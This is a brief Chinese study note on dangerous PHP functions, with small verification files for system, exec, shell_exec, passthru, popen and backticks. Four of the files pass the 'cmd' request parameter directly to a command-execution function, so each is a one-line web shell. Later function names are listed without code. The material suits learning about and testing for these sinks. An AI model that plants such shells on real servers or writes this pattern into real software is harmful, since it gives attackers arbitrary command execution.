PHP 危险函数或语句验证

PHP 危险函数或语句验证

1. system

<?php
// system.php 

// $cmd = "net user";
$cmd = $_REQUEST['cmd'];

system($cmd);

1. exec

<?php
// exec.php 

// $cmd = "whoami";
$cmd = $_REQUEST['cmd'];

echo exec($cmd);

1. shell_exec

<?php
$cmd = $_REQUEST['cmd'];
echo shell_exec($cmd);

1. passthru

<?php
    $cmd= $_REQUEST['cmd'];
    echo '<pre>';
    passthru($cmd);

1. popen

<?php
    $aj_eight_st='whoami';
    $result= popen($aj_eight_st,'r');
    echo fread($result,128);

1. ``

<?php
    $cmd= 'ipconfig';

    echo "<pre>".`$cmd`;

1. eval

1. assert

1. preg_replace

1. call_user_func

1. array_map

1. 动态函数